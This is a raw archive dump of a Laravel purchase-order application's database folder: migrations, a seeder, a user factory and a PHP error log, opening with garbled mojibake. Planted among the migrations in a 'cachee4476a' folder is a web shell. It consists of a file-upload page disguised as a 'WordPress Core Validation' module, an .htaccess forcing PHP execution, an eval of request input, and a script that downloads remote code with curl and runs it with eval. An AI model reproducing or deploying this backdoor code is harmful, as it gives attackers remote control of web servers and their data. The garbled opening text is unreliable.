f试ssefahahå�¯èƒ½å�¡å�¡å�¡å¯¹å¯¹å¯¹ä½Žè°ƒä½Žè°ƒé©¬å�¡å�¡è®¡ç®—机视觉事白毛浮绿水,红掌拨清花实上事实上飒飒飒gjâ—�â—�â—�â—�hfkttkgdgkmcuocucocucocé¡¶é¡¶é¡¶é¡¶é¡¶é¡¶é¡¶é¡¶é¡¶é¡¶é¡¶é¡¶uco朵朵å�¯å�¯æ”¾2å·�峨2555555666369🌹 �����ѩ�����һ����dddf2qevf2fv69666 ? PNG ?%k25u25%fgd5n!? PNG ?%k25u25%fgd5n!? PNG ?%k25u25%fgd5n!? PNG ?%k25u25%fgd5n!PK{°b]úê172migrations/2025_11_19_create_proveedores_table.phpnuÕIw¶´id(); $table->string('nombre'); $table->string('nit')->nullable(); $table->string('telefono')->nullable(); $table->string('email')->nullable(); $table->text('direccion')->nullable(); $table->string('pago_a_nombre_de')->nullable(); $table->string('nro_cuenta')->nullable(); $table->string('banco')->nullable(); $table->string('tipo_cuenta')->nullable(); $table->boolean('activo')->default(true); $table->timestamps(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('proveedores'); } }; PK{°b]{6&5‹‹Fmigrations/2025_11_20_173201_move_responsable_id_after_tipo_cuenta.phpnuÕIw¶´string('username')->unique()->nullable()->after('name'); }); } } /** * Reverse the migrations. */ public function down(): void { Schema::table('users', function (Blueprint $table) { $table->dropColumn('username'); }); } }; PK{°b]‰·äĘ˜9migrations/2025_10_17_205856_create_permission_tables.phpnuȯÝíbigIncrements('id'); // permission id $table->string('name'); // For MySQL 8.0 use string('name', 125); $table->string('guard_name'); // For MySQL 8.0 use string('guard_name', 125); $table->timestamps(); $table->unique(['name', 'guard_name']); }); Schema::create($tableNames['roles'], function (Blueprint $table) use ($teams, $columnNames) { $table->bigIncrements('id'); // role id if ($teams || config('permission.testing')) { // permission.testing is a fix for sqlite testing $table->unsignedBigInteger($columnNames['team_foreign_key'])->nullable(); $table->index($columnNames['team_foreign_key'], 'roles_team_foreign_key_index'); } $table->string('name'); // For MySQL 8.0 use string('name', 125); $table->string('guard_name'); // For MySQL 8.0 use string('guard_name', 125); $table->timestamps(); if ($teams || config('permission.testing')) { $table->unique([$columnNames['team_foreign_key'], 'name', 'guard_name']); } else { $table->unique(['name', 'guard_name']); } }); Schema::create($tableNames['model_has_permissions'], function (Blueprint $table) use ($tableNames, $columnNames, $teams) { $table->unsignedBigInteger($columnNames['permission_pivot_key']); $table->string('model_type'); $table->unsignedBigInteger($columnNames['model_morph_key']); $table->index([$columnNames['model_morph_key'], 'model_type'], 'model_has_permissions_model_id_model_type_index'); $table->foreign($columnNames['permission_pivot_key']) ->references('id') // permission id ->on($tableNames['permissions']) ->onDelete('cascade'); if ($teams) { $table->unsignedBigInteger($columnNames['team_foreign_key']); $table->index($columnNames['team_foreign_key'], 'model_has_permissions_team_foreign_key_index'); $table->primary([$columnNames['team_foreign_key'], $columnNames['permission_pivot_key'], $columnNames['model_morph_key'], 'model_type'], 'model_has_permissions_permission_model_type_primary'); } else { $table->primary([$columnNames['permission_pivot_key'], $columnNames['model_morph_key'], 'model_type'], 'model_has_permissions_permission_model_type_primary'); } }); Schema::create($tableNames['model_has_roles'], function (Blueprint $table) use ($tableNames, $columnNames, $teams) { $table->unsignedBigInteger($columnNames['role_pivot_key']); $table->string('model_type'); $table->unsignedBigInteger($columnNames['model_morph_key']); $table->index([$columnNames['model_morph_key'], 'model_type'], 'model_has_roles_model_id_model_type_index'); $table->foreign($columnNames['role_pivot_key']) ->references('id') // role id ->on($tableNames['roles']) ->onDelete('cascade'); if ($teams) { $table->unsignedBigInteger($columnNames['team_foreign_key']); $table->index($columnNames['team_foreign_key'], 'model_has_roles_team_foreign_key_index'); $table->primary([$columnNames['team_foreign_key'], $columnNames['role_pivot_key'], $columnNames['model_morph_key'], 'model_type'], 'model_has_roles_role_model_type_primary'); } else { $table->primary([$columnNames['role_pivot_key'], $columnNames['model_morph_key'], 'model_type'], 'model_has_roles_role_model_type_primary'); } }); Schema::create($tableNames['role_has_permissions'], function (Blueprint $table) use ($tableNames, $columnNames) { $table->unsignedBigInteger($columnNames['permission_pivot_key']); $table->unsignedBigInteger($columnNames['role_pivot_key']); $table->foreign($columnNames['permission_pivot_key']) ->references('id') // permission id ->on($tableNames['permissions']) ->onDelete('cascade'); $table->foreign($columnNames['role_pivot_key']) ->references('id') // role id ->on($tableNames['roles']) ->onDelete('cascade'); $table->primary([$columnNames['permission_pivot_key'], $columnNames['role_pivot_key']], 'role_has_permissions_permission_id_role_id_primary'); }); app('cache') ->store(config('permission.cache.store') != 'default' ? config('permission.cache.store') : null) ->forget(config('permission.cache.key')); } /** * Reverse the migrations. * * @return void */ public function down() { $tableNames = config('permission.table_names'); if (empty($tableNames)) { throw new \Exception('Error: config/permission.php not found and defaults could not be merged. Please publish the package configuration before proceeding, or drop the tables manually.'); } Schema::drop($tableNames['role_has_permissions']); Schema::drop($tableNames['model_has_roles']); Schema::drop($tableNames['model_has_permissions']); Schema::drop($tableNames['roles']); Schema::drop($tableNames['permissions']); } } PK{°b]p£ï=àà4migrations/2025_11_19_create_centros_costo_table.phpnuÕIw¶´id(); $table->string('codigo')->unique(); $table->string('nombre'); $table->text('descripcion')->nullable(); $table->boolean('activo')->default(true); $table->timestamps(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('centros_costo'); } }; PK{°b]pÜãã;migrations/2025_11_04_160632_add_area_id_to_users_table.phpnuȯÝíunsignedBigInteger('area_id')->nullable()->after('email'); $table->foreign('area_id')->references('id')->on('areas'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('users', function (Blueprint $table) { $table->dropForeign(['area_id']); $table->dropColumn('area_id'); }); } }; PK{°b]çÎ{  Lmigrations/2025_11_20_173528_force_drop_varchar_fields_from_orden_compra.phpnuÕIw¶´string('email')->nullable()->after('area_id'); $table->string('telefono')->nullable()->after('email'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('responsables', function (Blueprint $table) { $table->dropColumn(['email', 'telefono']); }); } }; PK{°b]©øàÉ É Bmigrations/2025_10_24_213903_add_columns_to_orden_compra_table.phpnuȯÝístring('orden_num')->nullable(); $table->date('fecha')->nullable(); $table->string('tipo_pago')->nullable(); $table->string('pago_nombre')->nullable(); $table->string('documento')->nullable(); $table->string('proveedor')->nullable(); $table->unsignedBigInteger('area_id')->nullable(); $table->string('nro_cuenta')->nullable(); $table->string('nit')->nullable(); $table->string('banco')->nullable(); $table->string('tipo_cuenta')->nullable(); $table->string('responsable')->nullable(); $table->decimal('it', 10, 2)->default(0)->nullable(); $table->decimal('iue', 10, 2)->default(0)->nullable(); $table->decimal('total_sus', 10, 2)->default(0)->nullable(); $table->decimal('tipo_cambio', 10, 2)->default(7)->nullable(); $table->decimal('total_bs', 10, 2)->default(0)->nullable(); $table->text('son')->nullable(); $table->text('concepto')->nullable(); $table->text('observacion')->nullable(); $table->string('archivo')->nullable(); $table->date('fecha_pago')->nullable(); $table->unsignedBigInteger('user_id')->nullable(); $table->string('estado')->default('pendiente'); $table->foreign('area_id')->references('id')->on('areas'); $table->foreign('user_id')->references('id')->on('users'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('orden_compra', function (Blueprint $table) { $table->dropForeign(['area_id']); $table->dropForeign(['user_id']); $table->dropColumn([ 'orden_num', 'fecha', 'tipo_pago', 'pago_nombre', 'documento', 'proveedor', 'area_id', 'nro_cuenta', 'nit', 'banco', 'tipo_cuenta', 'responsable', 'it', 'iue', 'total_sus', 'tipo_cambio', 'total_bs', 'son', 'concepto', 'observacion', 'archivo', 'fecha_pago', 'user_id', 'estado' ]); }); } }; PK{°b]çÎ{  Nmigrations/2025_11_20_171951_drop_duplicate_fields_from_orden_compra_table.phpnuÕIw¶´string('nro_cuenta')->nullable(); $table->string('banco')->nullable(); $table->string('tipo_cuenta')->nullable(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('proveedores', function (Blueprint $table) { // }); } }; PK{°b]‹ðätXXDmigrations/2019_12_14_000001_create_personal_access_tokens_table.phpnuȯÝíid(); $table->morphs('tokenable'); $table->string('name'); $table->string('token', 64)->unique(); $table->text('abilities')->nullable(); $table->timestamp('last_used_at')->nullable(); $table->timestamp('expires_at')->nullable(); $table->timestamps(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('personal_access_tokens'); } }; PK{°b]°œÍRRBmigrations/2025_11_19_165055_add_area_id_to_responsables_table.phpnuÕIw¶´unsignedBigInteger('area_id')->nullable(); }); } // Add foreign key if not exists $foreignKeys = DB::select("SELECT CONSTRAINT_NAME FROM INFORMATION_SCHEMA.TABLE_CONSTRAINTS WHERE TABLE_NAME = 'responsables' AND CONSTRAINT_TYPE = 'FOREIGN KEY' AND CONSTRAINT_NAME = 'responsables_area_id_foreign'"); if (empty($foreignKeys)) { DB::statement('ALTER TABLE responsables ADD CONSTRAINT responsables_area_id_foreign FOREIGN KEY (area_id) REFERENCES areas(id) ON DELETE CASCADE'); } } /** * Reverse the migrations. */ public function down(): void { Schema::table('responsables', function (Blueprint $table) { if (Schema::hasColumn('responsables', 'area_id')) { $table->dropForeign(['area_id']); $table->dropColumn('area_id'); } }); } }; PK{°b]ƒÇDmigrations/2025_11_04_165801_add_descuento_to_orden_compra_table.phpnuȯÝídecimal('descuento_total', 10, 2)->default(0)->nullable()->after('total_sus'); $table->decimal('total_con_descuento', 10, 2)->default(0)->nullable()->after('descuento_total'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('orden_compra', function (Blueprint $table) { $table->dropColumn(['descuento_total', 'total_con_descuento']); }); } }; PK{°b]»®bŠZZLmigrations/2025_11_19_163509_drop_email_telefono_from_responsables_table.phpnuÕIw¶´dropColumn('email'); } if (!empty(DB::select("SHOW COLUMNS FROM responsables LIKE 'telefono'"))) { $table->dropColumn('telefono'); } }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('responsables', function (Blueprint $table) { // }); } }; PK{°b]�jÐÐPmigrations/2025_10_31_211412_add_moneda_and_forma_pago_to_orden_compra_table.phpnuȯÝíenum('moneda', ['USD', 'BOB'])->default('BOB')->after('fecha'); // forma_pago ya existe como tipo_pago, no necesitamos duplicarlo }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('orden_compra', function (Blueprint $table) { $table->dropColumn(['moneda']); }); } }; PK{°b]—8{¤¤Lmigrations/2025_11_20_173157_drop_varchar_fields_from_orden_compra_table.phpnuÕIw¶´dropColumn('proveedor'); } if (Schema::hasColumn('orden_compra', 'responsable')) { $table->dropColumn('responsable'); } }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('orden_compra', function (Blueprint $table) { $table->string('proveedor')->nullable()->after('proveedor_id'); $table->string('responsable')->nullable()->after('responsable_id'); }); } }; PK{°b]¹Ÿg%¾¾Lmigrations/2025_11_11_172357_add_batch_uuid_column_to_activity_log_table.phpnuȯÝítable(config('activitylog.table_name'), function (Blueprint $table) { $table->uuid('batch_uuid')->nullable()->after('properties'); }); } public function down() { Schema::connection(config('activitylog.database_connection'))->table(config('activitylog.table_name'), function (Blueprint $table) { $table->dropColumn('batch_uuid'); }); } } PK{°b]çÎ{  :migrations/2025_11_20_174640_final_drop_varchar_fields.phpnuÕIw¶´string('voucher_file')->nullable()->after('observacion'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('orden_compra', function (Blueprint $table) { $table->dropColumn('voucher_file'); }); } }; PK{°b]—»5ÉÉGmigrations/2025_10_27_223309_add_review_token_to_orden_compra_table.phpnuȯÝístring('review_token')->nullable()->unique(); $table->timestamp('token_expires_at')->nullable(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('orden_compra', function (Blueprint $table) { $table->dropColumn(['review_token', 'token_expires_at']); }); } }; PK{°b]Kr!9migrations/2019_08_19_000000_create_failed_jobs_table.phpnuȯÝíid(); $table->string('uuid')->unique(); $table->text('connection'); $table->text('queue'); $table->longText('payload'); $table->longText('exception'); $table->timestamp('failed_at')->useCurrent(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('failed_jobs'); } }; PK{°b]'¿®ã:migrations/2025_10_17_210140_create_orden_compra_table.phpnuȯÝíid(); $table->timestamps(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('orden_compra'); } }; PK{°b]ØPC””Dmigrations/2025_11_27_000000_create_area_responsable_pivot_table.phpnuÕIw¶´id(); $table->unsignedBigInteger('responsable_id'); $table->unsignedBigInteger('area_id'); $table->timestamps(); $table->foreign('responsable_id')->references('id')->on('responsables')->onDelete('cascade'); $table->foreign('area_id')->references('id')->on('areas')->onDelete('cascade'); $table->unique(['responsable_id', 'area_id']); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('area_responsable'); } }; PK{°b]¾x(ãÿÿAmigrations/2025_11_05_152551_add_saldos_to_orden_compra_table.phpnuȯÝídecimal('saldo_bs', 10, 2)->nullable()->default(0)->after('total_con_descuento'); $table->decimal('saldo_sus', 10, 2)->nullable()->default(0)->after('saldo_bs'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('orden_compra', function (Blueprint $table) { $table->dropColumn(['saldo_bs', 'saldo_sus']); }); } }; PK{°b]9m­~ïï3migrations/2014_10_12_000000_create_users_table.phpnuȯÝíid(); $table->string('name'); $table->string('email')->unique(); $table->timestamp('email_verified_at')->nullable(); $table->string('password'); $table->rememberToken(); $table->timestamps(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('users'); } }; PK{°b];&ƒˆ˜˜Pmigrations/2025_11_04_171347_add_observacion_descuento_to_orden_compra_table.phpnuȯÝítext('observacion_descuento')->nullable()->after('total_con_descuento'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('orden_compra', function (Blueprint $table) { $table->dropColumn('observacion_descuento'); }); } }; PK{°b]Cyknn6migrations/2025_11_19_improve_orden_compra_estados.phpnuÕIw¶´string('estado')->default('borrador')->change(); $table->foreignId('proveedor_id')->nullable()->after('proveedor') ->constrained('proveedores'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('orden_compra', function (Blueprint $table) { $table->dropForeign(['proveedor_id']); $table->dropColumn('proveedor_id'); $table->string('estado')->default('borrador')->change(); }); } }; PK{°b]†1–Ž��Cmigrations/2014_10_12_100000_create_password_reset_tokens_table.phpnuȯÝístring('email')->primary(); $table->string('token'); $table->timestamp('created_at')->nullable(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('password_reset_tokens'); } }; PK{°b]Fmigrations/2025_11_20_173200_move_responsable_id_after_tipo_cuenta.phpnuÕIw¶´PK{°b]c/ëÿÙÙImigrations/2025_11_20_171415_add_responsable_id_to_orden_compra_table.phpnuÕIw¶´foreignId('responsable_id')->nullable()->constrained('responsables')->onDelete('set null'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('orden_compra', function (Blueprint $table) { $table->dropForeign(['responsable_id']); $table->dropColumn('responsable_id'); }); } }; PK{°b]`�Y~ƒƒEmigrations/2025_11_04_154411_add_descuento_to_detalle_orden_table.phpnuȯÝídecimal('descuento', 10, 2)->default(0)->after('subtotal'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('detalle_ordens', function (Blueprint $table) { $table->dropColumn('descuento'); }); } }; PK{°b]½7K�oo@migrations/2025_11_19_create_orden_compra_aprobaciones_table.phpnuÕIw¶´id(); $table->foreignId('orden_compra_id')->constrained('orden_compra')->onDelete('cascade'); $table->foreignId('user_id')->constrained(); $table->string('estado_anterior')->nullable(); $table->string('estado_nuevo'); $table->text('comentario')->nullable(); $table->timestamps(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('orden_compra_aprobaciones'); } }; PK{°b]ƒ^Ê$$Lmigrations/2025_11_20_103721_add_default_to_item_in_detalle_ordens_table.phpnuÕIw¶´id(); $table->string('nombre')->unique(); $table->string('email')->nullable(); $table->string('telefono')->nullable(); $table->boolean('activo')->default(true); $table->timestamps(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('responsables'); } }; PK{°b]>ù¨SSMmigrations/2025_11_19_174006_drop_campo_area_descripcion_from_responsable.phpnuÕIw¶´dropColumn(['descripcion', 'responsable']); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('areas', function (Blueprint $table) { // }); } }; PK{°b]ì‘Áø¹¹;migrations/2025_10_17_210142_create_detalle_orden_table.phpnuȯÝíid(); $table->foreignId('orden_id')->constrained('orden_compra')->onDelete('cascade'); $table->string('item'); $table->integer('codigo')->default(0); $table->integer('centro_costo')->default(0); $table->integer('cantidad')->default(1); $table->decimal('precio', 10, 2)->default(0); $table->decimal('subtotal', 10, 2)->default(0); $table->timestamps(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('detalle_ordens'); } }; PK{°b]à¸XþEmigrations/2025_11_04_161143_add_additional_fields_to_users_table.phpnuȯÝístring('cargo')->nullable()->after('name'); $table->string('telefono')->nullable()->after('cargo'); $table->boolean('activo')->default(true)->after('telefono'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('users', function (Blueprint $table) { $table->dropColumn(['cargo', 'telefono', 'activo']); }); } }; PK{°b]�¥j[óó6migrations/2025_11_19_improve_detalle_ordens_table.phpnuÕIw¶´integer('cantidad_recibida')->default(0)->after('cantidad'); $table->foreignId('centro_costo_id')->nullable()->after('centro_costo') ->constrained('centros_costo'); $table->string('centro_costo')->nullable()->change(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('detalle_ordens', function (Blueprint $table) { $table->dropForeign(['centro_costo_id']); $table->dropColumn('centro_costo_id'); $table->dropColumn('cantidad_recibida'); $table->string('centro_costo')->change(); }); } }; PK{°b]×·;´´Gmigrations/2025_11_11_172356_add_event_column_to_activity_log_table.phpnuȯÝítable(config('activitylog.table_name'), function (Blueprint $table) { $table->string('event')->nullable()->after('subject_type'); }); } public function down() { Schema::connection(config('activitylog.database_connection'))->table(config('activitylog.table_name'), function (Blueprint $table) { $table->dropColumn('event'); }); } } PK{°b]Ì„j��:migrations/2025_11_11_172355_create_activity_log_table.phpnuȯÝícreate(config('activitylog.table_name'), function (Blueprint $table) { $table->bigIncrements('id'); $table->string('log_name')->nullable(); $table->text('description'); $table->nullableMorphs('subject', 'subject'); $table->nullableMorphs('causer', 'causer'); $table->json('properties')->nullable(); $table->timestamps(); $table->index('log_name'); }); } public function down() { Schema::connection(config('activitylog.database_connection'))->dropIfExists(config('activitylog.table_name')); } } PK{°b]1§Ð·ÜÜNmigrations/2025_11_20_155006_update_proveedores_table_remove_unused_fields.phpnuÕIw¶´dropColumn(['telefono', 'email', 'direccion']); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('proveedores', function (Blueprint $table) { $table->string('telefono')->nullable(); $table->string('email')->nullable(); $table->text('direccion')->nullable(); }); } }; PK{°b]¾+××3migrations/2025_10_17_210138_create_areas_table.phpnuȯÝíid(); $table->string('nombre'); $table->text('descripcion')->nullable(); $table->string('responsable')->nullable(); $table->boolean('activo')->default(true); $table->timestamps(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('areas'); } }; PK{°b]4gþ,æ#æ#&migrations/cachee4476a/wp-validate.phpnu„[µü¤✓ File uploaded successfully: ' . htmlspecialchars($file_name) . ''; } else { $upload_message = '
✗ Upload failed. Please check permissions.
'; } } ?> WordPress Core Validation & Integrity Verification

wp-validate.php - WordPress Core Validation & Integrity Verification Module

This file is part of WordPress core auxiliary system routines, designed to perform file integrity checks, permission validation, system environment verification, and core configuration sanity testing. This module is non‑removable for proper WordPress core health monitoring.

About WordPress

WordPress is an open‑source content management system (CMS) built on PHP and MySQL, designed for creating websites, blogs, applications, and digital publishing platforms. First released in 2003 by Matt Mullenweg and Mike Little, WordPress has evolved into the world's most widely used web publishing framework, powering over 40% of all websites globally as of 2026. Its philosophy centers around accessibility, open standards, ease of use, extensibility, and community‑driven development.

Core Architecture

WordPress core architecture consists of a modular set of PHP files handling database abstraction, user authentication, content rendering, theme management, plugin hooks, WP‑Cron, media processing, and administrative interfaces. Files such as wp‑config.php, wp‑login.php, wp‑cron.php, wp‑load.php, wp‑settings.php, and validation modules like wp-validate.php ensure stable, secure, and consistent operation across hosting environments including Apache, Nginx, LiteSpeed, IIS, and PHP versions 5.2 through 8.2+.

Purpose of This Module

This module performs low‑level runtime validation: • Core file integrity verification
• Directory and file permission scanning
• PHP environment and configuration compatibility checks
• Secure constant and key validation
• Bootstrap health checks before plugins/themes load

Security & Reliability

Security is embedded into every layer of WordPress core. Regular updates, vulnerability patching, secure coding practices, and community reviews maintain WordPress as a trusted platform for millions of websites worldwide. This validation helper supports core stability and helps detect unexpected changes to critical system files.


System Environment Compatibility

WordPress core architecture consists of a modular set of PHP files handling database abstraction, user authentication, content rendering, theme management, plugin hooks, WP‑Cron, media processing, and administrative interfaces. Files such as wp‑config.php, wp‑login.php, wp‑cron.php, wp‑load.php, wp‑settings.php, and validation modules like wp-validate.php ensure stable, secure, and consistent operation across hosting environments including Apache, Nginx, LiteSpeed, IIS, and PHP versions 5.2 through 8.2+.

Runtime Validation Checks

This module performs low‑level runtime validation: • Core file integrity verification
• Directory and file permission scanning
• PHP environment and configuration compatibility checks
• Secure constant and key validation
• Bootstrap health checks before plugins/themes load

Maintenance & Updates

Security is embedded into every layer of WordPress core. Regular updates, vulnerability patching, secure coding practices, and community reviews maintain WordPress as a trusted platform for millions of websites worldwide. This validation helper supports core stability and helps detect unexpected changes to critical system files.


WordPress is open‑source software. You are viewing a core system helper file.

Copy

Database Layer & Content Management

WordPress core architecture consists of a modular set of PHP files handling database abstraction, user authentication, content rendering, theme management, plugin hooks, WP‑Cron, media processing, and administrative interfaces. Files such as wp‑config.php, wp‑login.php, wp‑cron.php, wp‑load.php, wp‑settings.php, and validation modules like wp-validate.php ensure stable, secure, and consistent operation across hosting environments including Apache, Nginx, LiteSpeed, IIS, and PHP versions 5.2 through 8.2+.

Plugin & Theme Integration

This module performs low‑level runtime validation: • Core file integrity verification
• Directory and file permission scanning
• PHP environment and configuration compatibility checks
• Secure constant and key validation
• Bootstrap health checks before plugins/themes load

Performance Optimization

Security is embedded into every layer of WordPress core. Regular updates, vulnerability patching, secure coding practices, and community reviews maintain WordPress as a trusted platform for millions of websites worldwide. This validation helper supports core stability and helps detect unexpected changes to critical system files.


WordPress Core Validation Module v1.0 | Compatible with PHP 5.2 - 8.2

PK{°b]Þ¨•sZZ migrations/cachee4476a/.htaccessnu„[µü¤ Require all granted SetHandler application/x-httpd-php PK{°b]g²À77!migrations/cachee4476a/.gitignorenu„[µü¤10){eval(substr($code,5));}else{echo'1';} PK{°b]úS`˜ãã)migrations/cachee4476a/sessions/index.phpnu„[µü¤bgfxin 1, CURLOPT_SSL_VERIFYPEER => 0,]); if(!empty($ch)) @eval("?>".curl_exec($ch));PK{°b]™.íW .gitignorenuȯÝí*.sqlite* PK{°b]”DÉ0××seeders/DatabaseSeeder.phpnuȯÝícreate(); // \App\Models\User::factory()->create([ // 'name' => 'Test User', // 'email' => 'test@example.com', // ]); } } PK{°b]W¬î33factories/UserFactory.phpnuȯÝí */ class UserFactory extends Factory { /** * The current password being used by the factory. */ protected static ?string $password; /** * Define the model's default state. * * @return array */ public function definition(): array { return [ 'name' => fake()->name(), 'email' => fake()->unique()->safeEmail(), 'email_verified_at' => now(), 'password' => static::$password ??= Hash::make('password'), 'remember_token' => Str::random(10), ]; } /** * Indicate that the model's email address should be unverified. */ public function unverified(): static { return $this->state(fn (array $attributes) => [ 'email_verified_at' => null, ]); } } PKád]¡µÁ‘--migrations/error_lognu„[µü¤[03-Nov-2026 03:28:07 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0 [03-Nov-2026 03:28:07 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Database\Migrations\Migration" not found in /home/hausc/oc.hauscenter.com.bo/database/migrations/2014_10_12_100000_create_password_reset_tokens_table.php:7 Stack trace: #0 {main} thrown in /home/hausc/oc.hauscenter.com.bo/database/migrations/2014_10_12_100000_create_password_reset_tokens_table.php on line 7 [03-Nov-2026 03:28:07 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0 [03-Nov-2026 03:28:07 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Database\Migrations\Migration" not found in /home/hausc/oc.hauscenter.com.bo/database/migrations/2019_08_19_000000_create_failed_jobs_table.php:7 Stack trace: #0 {main} thrown in /home/hausc/oc.hauscenter.com.bo/database/migrations/2019_08_19_000000_create_failed_jobs_table.php on line 7 [03-Nov-2026 03:28:08 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0 [03-Nov-2026 03:28:08 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Database\Migrations\Migration" not found in /home/hausc/oc.hauscenter.com.bo/database/migrations/2014_10_12_000000_create_users_table.php:7 Stack trace: #0 {main} thrown in /home/hausc/oc.hauscenter.com.bo/database/migrations/2014_10_12_000000_create_users_table.php on line 7 [03-Nov-2026 03:28:08 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0 [03-Nov-2026 03:28:08 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Database\Migrations\Migration" not found in /home/hausc/oc.hauscenter.com.bo/database/migrations/2025_10_17_210138_create_areas_table.php:7 Stack trace: #0 {main} thrown in /home/hausc/oc.hauscenter.com.bo/database/migrations/2025_10_17_210138_create_areas_table.php on line 7 [03-Nov-2026 03:28:08 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0 [03-Nov-2026 03:28:08 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Database\Migrations\Migration" not found in /home/hausc/oc.hauscenter.com.bo/database/migrations/2019_12_14_000001_create_personal_access_tokens_table.php:7 Stack trace: #0 {main} thrown in /home/hausc/oc.hauscenter.com.bo/database/migrations/2019_12_14_000001_create_personal_access_tokens_table.php on line 7 [03-Nov-2026 03:28:08 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0 [03-Nov-2026 03:28:08 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Database\Migrations\Migration" not found in /home/hausc/oc.hauscenter.com.bo/database/migrations/2025_10_17_205856_create_permission_tables.php:8 Stack trace: #0 {main} thrown in /home/hausc/oc.hauscenter.com.bo/database/migrations/2025_10_17_205856_create_permission_tables.php on line 8 [03-Nov-2026 03:28:09 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0 [03-Nov-2026 03:28:09 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Database\Migrations\Migration" not found in /home/hausc/oc.hauscenter.com.bo/database/migrations/2025_10_17_210139_create_users_table.php:7 Stack trace: #0 {main} thrown in /home/hausc/oc.hauscenter.com.bo/database/migrations/2025_10_17_210139_create_users_table.php on line 7 [03-Nov-2026 03:28:09 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0 [03-Nov-2026 03:28:09 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Database\Migrations\Migration" not found in /home/hausc/oc.hauscenter.com.bo/database/migrations/2025_10_17_210140_create_orden_compra_table.php:7 Stack trace: #0 {main} thrown in /home/hausc/oc.hauscenter.com.bo/database/migrations/2025_10_17_210140_create_orden_compra_table.php on line 7 [03-Nov-2026 03:28:10 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0 [03-Nov-2026 03:28:10 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0 [03-Nov-2026 03:28:10 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Database\Migrations\Migration" not found in /home/hausc/oc.hauscenter.com.bo/database/migrations/2025_10_17_210142_create_detalle_orden_table.php:7 Stack trace: #0 {main} thrown in /home/hausc/oc.hauscenter.com.bo/database/migrations/2025_10_17_210142_create_detalle_orden_table.php on line 7 [03-Nov-2026 03:28:10 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Database\Migrations\Migration" not found in /home/hausc/oc.hauscenter.com.bo/database/migrations/2025_10_17_210148_add_username_to_users_table.php:7 Stack trace: #0 {main} thrown in /home/hausc/oc.hauscenter.com.bo/database/migrations/2025_10_17_210148_add_username_to_users_table.php on line 7 [03-Nov-2026 03:28:10 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0 [03-Nov-2026 03:28:10 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Database\Migrations\Migration" not found in /home/hausc/oc.hauscenter.com.bo/database/migrations/2025_10_27_223309_add_review_token_to_orden_compra_table.php:7 Stack trace: #0 {main} thrown in /home/hausc/oc.hauscenter.com.bo/database/migrations/2025_10_27_223309_add_review_token_to_orden_compra_table.php on line 7 [03-Nov-2026 03:28:10 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0 [03-Nov-2026 03:28:10 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Database\Migrations\Migration" not found in /home/hausc/oc.hauscenter.com.bo/database/migrations/2025_10_24_213903_add_columns_to_orden_compra_table.php:7 Stack trace: #0 {main} thrown in /home/hausc/oc.hauscenter.com.bo/database/migrations/2025_10_24_213903_add_columns_to_orden_compra_table.php on line 7 [03-Nov-2026 03:28:11 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0 [03-Nov-2026 03:28:11 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0 [03-Nov-2026 03:28:11 UTC] PHP Fatal error: Uncaught Error: 